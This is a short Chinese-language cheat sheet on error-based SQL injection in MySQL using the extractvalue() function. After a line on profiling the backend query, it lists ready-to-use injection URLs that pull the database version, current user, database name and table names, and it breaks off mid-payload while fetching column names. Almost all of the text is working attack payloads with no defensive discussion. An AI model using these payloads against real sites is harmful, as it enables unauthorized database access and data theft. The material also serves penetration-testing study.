Extractvalue报错注入流程
下面的语句不可以直接使用,首先需要刻画后台SQL语句的"画像",之后确定如何构造,例如使用“/?id=1 and 语句”还是“/?id=1' and 语句”等其他类型的语句。
获取数据库版本信息
- http://www.example.com/?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e)) --+
获取用户名相关信息
- http://www.example.com/?id=1 and extractvalue(1, concat(0x7e, (select user()),0x7e)) --+
获取数据库名的信息
- http://www.example.com/?id=1 and extractvalue(1, concat(0x7e, (select database()),0x7e)) --+
获取数据库的表信息
- http://www.example.com/?id=1 and extractvalue(1, concat(0x7e, (select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),0x7e)) --+
在实际使用过程中需要更换limit start,length中的start的值,依次来获取当前数据库中的所有表名信息。
获取指定表的字段名
- http://www.example.com/?id=1 and extractvalue(1, concat(0x7e, (select COLUMN_NAME f